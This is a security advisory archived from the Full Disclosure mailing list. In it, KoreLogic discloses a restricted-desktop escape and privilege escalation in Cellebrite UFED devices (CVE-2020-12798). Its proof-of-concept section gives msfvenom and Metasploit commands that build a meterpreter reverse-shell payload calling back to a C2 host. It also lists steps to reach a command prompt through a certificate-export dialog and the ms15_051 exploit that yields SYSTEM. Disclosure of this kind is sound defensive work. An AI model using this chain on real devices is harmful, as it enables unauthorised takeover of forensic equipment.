KL-001-2020-002 : Cellebrite Restricted Desktop Escape and Escalation of User Privilege

                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="33"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#34">By Date</a>
<a href="35"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="33"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#34">By Thread</a>
<a href="35"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">KL-001-2020-002 : Cellebrite Restricted Desktop Escape and Escalation of User Privilege</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: KoreLogic Disclosures via Fulldisclosure &lt;fulldisclosure () seclists org&gt;


<em>Date</em>: Thu, 14 May 2020 14:00:00 -0500


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">KL-001-2020-002 : Cellebrite Restricted Desktop Escape and Escalation of User Privilege

Title: Cellebrite Restricted Desktop Escape and Escalation of User Privilege
Advisory ID: KL-001-2020-002
Publication Date: 2020.05.14
Publication URL: <a rel="nofollow" href="https://korelogic.com/Resources/Advisories/KL-001-2020-002.txt">https://korelogic.com/Resources/Advisories/KL-001-2020-002.txt</a>


1. Vulnerability Details

&nbsp;&nbsp;&nbsp;&nbsp; Affected Vendor: Cellebrite
&nbsp;&nbsp;&nbsp;&nbsp; Affected Product: UFED
&nbsp;&nbsp;&nbsp;&nbsp; Affected Version: 5.0 - 7.5.0.845
&nbsp;&nbsp;&nbsp;&nbsp; Platform: Embedded Windows
&nbsp;&nbsp;&nbsp;&nbsp; CWE Classification: CWE-269: Improper Privilege Management,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CWE-20: Input Validation Error
&nbsp;&nbsp;&nbsp;&nbsp; CVE ID: CVE-2020-12798


2. Vulnerability Description

&nbsp;&nbsp;&nbsp;&nbsp; Cellebrite UFED device implements local operating system
&nbsp;&nbsp;&nbsp;&nbsp; policies that can be circumvented to obtain a command
&nbsp;&nbsp;&nbsp;&nbsp; prompt. From there privilege escalation is possible using
&nbsp;&nbsp;&nbsp;&nbsp; public exploits.


3. Technical Description

&nbsp;&nbsp;&nbsp;&nbsp; The Cellebrite UFED device implements local operating system
&nbsp;&nbsp;&nbsp;&nbsp; policies which are designed to limit access to operating system
&nbsp;&nbsp;&nbsp;&nbsp; functionality. These include but may not be limited to:

&nbsp;&nbsp;&nbsp;&nbsp; 1. Preventing access to dialog such as Run, File Browser,
&nbsp;&nbsp;&nbsp;&nbsp; and Explorer.

&nbsp;&nbsp;&nbsp;&nbsp; and

&nbsp;&nbsp;&nbsp;&nbsp; 2. Preventing access to process and application management tools
&nbsp;&nbsp;&nbsp;&nbsp; such as Task Manager and the Control Panel.

&nbsp;&nbsp;&nbsp;&nbsp; These policies can be circumvented by using functionality
&nbsp;&nbsp;&nbsp;&nbsp; that is permitted by the policy governing the use of the user
&nbsp;&nbsp;&nbsp;&nbsp; desktop. A user can leverage the Wireless Network connection
&nbsp;&nbsp;&nbsp;&nbsp; string to select certificate based authentication, which then
&nbsp;&nbsp;&nbsp;&nbsp; enables file dialogs that are able to be used to launch a
&nbsp;&nbsp;&nbsp;&nbsp; command prompt. Following this, privileges can be elevated
&nbsp;&nbsp;&nbsp;&nbsp; using off the shelf and publicly available exploits relevant
&nbsp;&nbsp;&nbsp;&nbsp; to the specific Windows version in use.


4. Mitigation and Remediation Recommendation

&nbsp;&nbsp;&nbsp;&nbsp; The vendor has informed KoreLogic that this vulnerability is
&nbsp;&nbsp;&nbsp;&nbsp; not present on devices manufactured "at least since 2018." The
&nbsp;&nbsp;&nbsp;&nbsp; vendor was uncertain of the exact version number that remediated
&nbsp;&nbsp;&nbsp;&nbsp; this attack vector.


5. Credit

&nbsp;&nbsp;&nbsp;&nbsp; This vulnerability was discovered by Matt Bergin (@thatguylevel)
&nbsp;&nbsp;&nbsp;&nbsp; of KoreLogic, Inc.


6. Disclosure Timeline

&nbsp;&nbsp;&nbsp;&nbsp; 2020.03.05 - KoreLogic submits vulnerability details to
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cellebrite.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.03.17 - Cellebrite acknowledges receipt and the intention
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to investigate.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.04.16 - KoreLogic requests an update on the status of the
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vulnerability report.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.04.19 - Cellebrite responds, notifying KoreLogic that the
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vulnerable dialog is not available on newer UFED
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; releases. Indicates they will determine when the
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; remediation was introduced.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.05.04 - KoreLogic requests an update from Cellebrite.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.05.05 - Cellebrite responds that they do not have the
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; version number at hand, but does not request
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; delaying public disclosure.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.05.11 - MITRE issues CVE-2020-12798.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.05.12 - 45 business-days have elapsed since the report was
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; submitted to Cellebrite.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.05.14 - KoreLogic public disclosure.


7. Proof of Concept

&nbsp;&nbsp;&nbsp;&nbsp; Begin by using the msfvenom binary to create a meterpreter
&nbsp;&nbsp;&nbsp;&nbsp; payload that will initiate a remote connection to a C2. Copy
&nbsp;&nbsp;&nbsp;&nbsp; the payload to a USB drive. Following this, use the msfconsole
&nbsp;&nbsp;&nbsp;&nbsp; binary to create a C2 connection handler with the multi/handler
&nbsp;&nbsp;&nbsp;&nbsp; functionality.

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe LHOST=[REDACTED] LPORT=8888
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] No arch selected, selecting arch: x86 from the payload
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No encoder or badchars specified, outputting raw payload
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Payload size: 341 bytes
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Final size of exe file: 73802 bytes
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Saved as: payload.exe
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ sudo mount -o rw /dev/sda1 a/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ sudo cp payload.exe a/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ sync
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ sudo umount a/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ msfconsole
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [snip]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msf5 exploit(multi/handler) &gt; show options

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Module options (exploit/multi/handler):

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name&nbsp; Current Setting&nbsp; Required&nbsp; Description
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ----&nbsp; ---------------&nbsp; --------&nbsp; -----------


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Payload options (windows/meterpreter/reverse_tcp):

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Current Setting&nbsp; Required&nbsp; Description
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ----&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---------------&nbsp; --------&nbsp; -----------
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EXITFUNC&nbsp; process&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit technique (Accepted: '', seh, thread, process, none)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LHOST&nbsp;&nbsp;&nbsp;&nbsp; [REDACTED]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The listen address (an interface may be specified)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LPORT&nbsp;&nbsp;&nbsp;&nbsp; 8888&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The listen port


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exploit target:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Id&nbsp; Name
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --&nbsp; ----
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Wildcard Target


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msf5 exploit(multi/handler) &gt; exploit -j -z
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Exploit running as background job 1.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Exploit completed, but no session was created.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Started reverse TCP handler on [REDACTED]:8888

&nbsp;&nbsp;&nbsp;&nbsp; Now insert the USB drive where payload.exe resides into a
&nbsp;&nbsp;&nbsp;&nbsp; target Cellebrite device. Next, follow the steps below:

&nbsp;&nbsp;&nbsp;&nbsp; 1. Open the Wireless Network Connection screen by clicking
&nbsp;&nbsp;&nbsp;&nbsp; on the WiFi icon in the bottom right hand corner of the
&nbsp;&nbsp;&nbsp;&nbsp; screen. This should be next to the system clock.

&nbsp;&nbsp;&nbsp;&nbsp; 2. Select "Change advanced settings" -- this will bring up a
&nbsp;&nbsp;&nbsp;&nbsp; screen called Windows Network Connection Properties. Choose
&nbsp;&nbsp;&nbsp;&nbsp; the Wireless Networks tab.

&nbsp;&nbsp;&nbsp;&nbsp; 3. Under the Preferred networks section, click the Add button
&nbsp;&nbsp;&nbsp;&nbsp; and then select the Authentication tab. Make sure "Enable IEEE
&nbsp;&nbsp;&nbsp;&nbsp; 802.1x authentication for this network" is enabled.

&nbsp;&nbsp;&nbsp;&nbsp; 4. Under EAP Type, select "Smart Card or other Certificate"
&nbsp;&nbsp;&nbsp;&nbsp; and then click the Properties button.

&nbsp;&nbsp;&nbsp;&nbsp; 5. Under Trusted Root Certificate Authorities click the
&nbsp;&nbsp;&nbsp;&nbsp; View Certificate button. This will bring up a screen called
&nbsp;&nbsp;&nbsp;&nbsp; Certificate, choose the Details tab and click the "Copy to
&nbsp;&nbsp;&nbsp;&nbsp; File" button. This will bring up a screen called Certificate
&nbsp;&nbsp;&nbsp;&nbsp; Export Wizard.

&nbsp;&nbsp;&nbsp;&nbsp; 6. Click Next and select any of the available export format
&nbsp;&nbsp;&nbsp;&nbsp; options. For example, choose the "DER encoded binary X.509"
&nbsp;&nbsp;&nbsp;&nbsp; option and click next.

&nbsp;&nbsp;&nbsp;&nbsp; 7. Instead of typing out a export path click the Browse
&nbsp;&nbsp;&nbsp;&nbsp; button to open a file dialog. In the "File Name" box type:
&nbsp;&nbsp;&nbsp;&nbsp; \WINDOWS\System32\ and under "Save as type" select the "All
&nbsp;&nbsp;&nbsp;&nbsp; Files (*.*)" option. Hit the enter key.

&nbsp;&nbsp;&nbsp;&nbsp; 8. Locate the cmd.exe file then drag and drop any DLL over
&nbsp;&nbsp;&nbsp;&nbsp; it. For example, choose the clusapi.dll file located near the
&nbsp;&nbsp;&nbsp;&nbsp; cmd.exe executable. This will open a Command Prompt screen as
&nbsp;&nbsp;&nbsp;&nbsp; an unprivileged user.

&nbsp;&nbsp;&nbsp;&nbsp; 9. Type the drive letter to change into the USB drive containing
&nbsp;&nbsp;&nbsp;&nbsp; the payload.exe file.

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C:\windows\system32&gt;D:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; D:\&gt;payload.exe

&nbsp;&nbsp;&nbsp;&nbsp; This results in a connection back into Metasploit.

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Sending stage (180291 bytes) to [REDACTED]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Meterpreter session 2 opened ([REDACTED]:8888 -&gt; [REDACTED]:1041) at 2020-01-29 11:41:05 -0800
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msf5 exploit(multi/handler) &gt; sessions -i 2
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Starting interaction with 2...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; meterpreter &gt; getuid
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Server username: TOUCH-[REDACTED]\Operator

&nbsp;&nbsp;&nbsp;&nbsp; An exploit for CVE-2015-1701 is loaded up and configured to run
&nbsp;&nbsp;&nbsp;&nbsp; a local privilege escalation exploit against the unprivileged
&nbsp;&nbsp;&nbsp;&nbsp; session and SYSTEM is obtained.

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msf5 exploit(windows/local/ms15_051_client_copy_image) &gt; show options

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Module options (exploit/windows/local/ms15_051_client_copy_image):

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name&nbsp;&nbsp;&nbsp;&nbsp; Current Setting&nbsp; Required&nbsp; Description
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ----&nbsp;&nbsp;&nbsp;&nbsp; ---------------&nbsp; --------&nbsp; -----------
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SESSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The session to run this module on.


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exploit target:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Id&nbsp; Name
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --&nbsp; ----
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Windows x86

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msf5 exploit(windows/local/ms15_051_client_copy_image) &gt; set SESSION 2
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SESSION =&gt; 2
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msf5 exploit(windows/local/ms15_051_client_copy_image) &gt; set PAYLOAD windows/meterpreter/reverse_tcp
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PAYLOAD =&gt; windows/meterpreter/reverse_tcp
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msf5 exploit(windows/local/ms15_051_client_copy_image) &gt; set LPORT 8888
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LPORT =&gt; 8888
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msf5 exploit(windows/local/ms15_051_client_copy_image) &gt; set LHOST [REDACTED]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LHOST =&gt; [REDACTED]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msf5 exploit(windows/local/ms15_051_client_copy_image) &gt; run

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Started reverse TCP handler on [REDACTED]:8888
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Launching notepad to host the exploit...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] Process 3936 launched.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Reflectively injecting the exploit DLL into 3936...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Injecting exploit into 3936...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Exploit injected. Injecting payload into 3936...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Payload injected. Executing exploit...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Sending stage (180291 bytes) to [REDACTED]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [*] Meterpreter session 3 opened ([REDACTED]:8888 -&gt; [REDACTED]:1045) at 2020-01-29 11:48:15 -0800

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; meterpreter &gt; getuid
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Server username: NT AUTHORITY\SYSTEM
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; meterpreter &gt;



The contents of this advisory are copyright(c) 2020
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
<a rel="nofollow" href="http://creativecommons.org/licenses/by-sa/4.0/">http://creativecommons.org/licenses/by-sa/4.0/</a>

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
<a rel="nofollow" href="https://www.korelogic.com/about-korelogic.html">https://www.korelogic.com/about-korelogic.html</a>

Our public vulnerability disclosure policy is available at:
<a rel="nofollow" href="https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt">https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt</a>
</pre><p><strong>Attachment:
<a href="att-34/signature_asc.bin"><tt>signature.asc</tt></a></strong>

<em>Description:</em> OpenPGP digital signature</p>
<pre style="margin: 0em;">
_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a></pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="33"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#34">By Date</a>
<a href="35"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="33"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#34">By Thread</a>
<a href="35"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>KL-001-2020-002 : Cellebrite Restricted Desktop Escape and Escalation of User Privilege</strong> <em>KoreLogic Disclosures via Fulldisclosure (May 14)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>